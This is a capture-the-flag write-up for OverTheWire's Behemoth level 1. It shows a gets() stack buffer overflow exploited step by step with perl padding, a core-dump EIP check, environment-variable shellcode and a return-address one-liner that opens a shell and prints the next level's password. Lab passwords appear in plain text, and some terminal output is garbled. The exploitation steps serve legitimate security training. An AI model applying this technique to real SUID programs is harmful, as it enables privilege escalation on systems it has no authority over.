# Behemoth1

```
/*
```

## ##GAME### EXPLOIT CODE

### ###URL###

overthewire.org

### ###LOGIN###

ssh behemoth1@behemoth.labs.overthewire.org -p 2221

## ###PASSWORD###

aesebootiv

## By: 0xFED

\*/

## Files:

behemonth1

## Challenge:

Obtain the password for the next level exploiting the priviledges of the vulnerable SUID binary.

## Hint:

None provided

## Tools:

**GDB** 

pattern\_create.rb (Metasploit Framework)
pwntools

### **Solution:**

There is no hint to this challenge, as stated above. Exploitable binaries are located in / behemoth/

# Running behemoth1 reveals:

```
behemothl@behemoth:~$ cd /behemoth/
behemothl@behemoth:/behemoth$ ./behemothl
Password: password
Authentication failure.
Sorry.
behemothl@behemoth:/behemoth$ [
```

This implies that we need to find the password in order to advance to the next level. Lets run strings in order to get a quick overview about how this binary operates.

```
behemoth1@behemoth:/behemoth$ strings behemoth1
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
gets <====
puts <====
printf <=====</pre>
 _libc_start_main
  gmon_start_
GLIBC_2.0
PTRh
QVhM
UWVS
t$,U
[^_]
Password:
Authentication failure.
Sorry.
;*2$"
GCC: (Ubuntu 4.8.5-4ubuntu2) 4.8.5
crtstuff.c
  JCR LIST
deregister_tm_clones
  _do_global_dtors_aux
completed.6614
  _do_global_dtors_aux_fini_array_entry
frame_dummy
  _frame_dummy_init_array_entry
behemoth1.c
  FRAME_END_
 JCR_END
 _init_array_end
DYNAMIC
  _init_array_start
  GNU EH FRAME HDR
_GLOBAL_OFFSET_TABLE_
  libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
printf@@GLIBC_2.0
gets@@GLIBC_2.0
_edata
  data start
puts@@GLIBC 2.0
  gmon start
  dso_handle
IO stdin_used
  libc_start_main@@GLIBC_2.0
  libc_csu_init
_fp_hw
  _bss__start
main
_Jv_RegisterClasses
  TMC END
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version r
.rel.dyn
.rel.plt
.init
```

```
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
behemoth1@behemoth:/behemoth$
```

We can see the following functions: gets(), puts(), and printf(). The interesting thing to note, is that there does not appear

to be any compare function. This is especially odd for a binary that is asking for a password.

Looking again we see that the input to the binary is handled by gets(). This particular function has been deprecated

because if the input is longer than the destination buffer, it will continue to write past that buffer in to neighboring

memory locations. This is a classic buffer overflow.

## Source:

http://man7.org/linux/man-pages/man3/gets.3.html

"Never use **gets**(). Because it is impossible to tell without knowing the data in advance how many characters **gets**() will read, and because **gets**() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use **fgets**() instead."

So, lets try feeding it 1024 bytes and see how it likes it.

```
behemothl@behemoth:/behemoth$ perl -e 'printf"\x90"x1024' | ./behemothl
Password: Authentication failure.
Sorry.
Segmentation fault
behemothl@behemoth:/behemoth$ []
```

Using pattern\_create.rb from the Metasploit Framework, we were able to determine that the length required to trigger the overflow, was 79 bytes.

After a little fiddling around, we found that EIP could be overwritten with bytes, extending just past the 79 byte mark.

This is evident after setting "ulimit -c unlimited" and running perl -e 'printf"\x90"x79 . "BBBB"' | . /behemoth1

```
behemoth1@behemoth:/tmp/mc1$ ls
behemoth1
behemoth1@behemoth:/tmp/mc1$ ulimit -c unlimited
behemoth1@behemoth:/tmp/mc1$ perl -e 'printf"\x98"x79 . "BBBB"' | ./behemoth1
Password: Authentication failure.
Segmentation fault (core dumped)
behemoth1@behemoth:/tmp/mc1$ gdb -c core
NU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
opyright (C) 2016 Free Software Foundation, Inc.
icense GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
his is free software: you are free to change and redistribute it.
here is NO WARRANTY, to the extent permitted by law. Type "show copying"
This GDB was configured as "x86_64-linux-gnu".
'ype "show configuration" for configuration details.
or bug reporting instructions, please see:
chttp://www.gnu.org/software/gdb/bugs/>.
ind the GDB manual and other documentation resources online at:
chttp://www.gnu.org/software/gdb/documentation/>.
or help, type "help".
ype "apropos word" to search for commands related to "word".
New LWP 10826]
ore was generated by './behemoth1'.
rogram terminated with signal SIGSEGV, Segmentation fault.
   0x42424242 in ?? ()
gdb)
```

Its time to get some shellcode.

In order to save time and keep things simpiler, pwntools will be employed to generate our shell code. After a little trial and error, it was found that setreuid() also needs to be set. Here we generate the shell code, and export it to an environment variable named OWNED.

Now we need to get the address of OWNED so we can place it in EIP. We can use getenv.c which you can find variants of by searching Google. This allows us to get the address of OWNED.

#### **Getenv:**

Next we prepare our PoC exploit. After more trial and error it was found that the shell would immediately close due to

lack of input. In order to get around this we use the cat command to hold the shell open.

```
behemoth1@behemoth:/tmp/mc1$ (perl -e 'printf"\x90"x79 . "\x55\xd7\xff\xff"'; cat) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
eimahquuof
```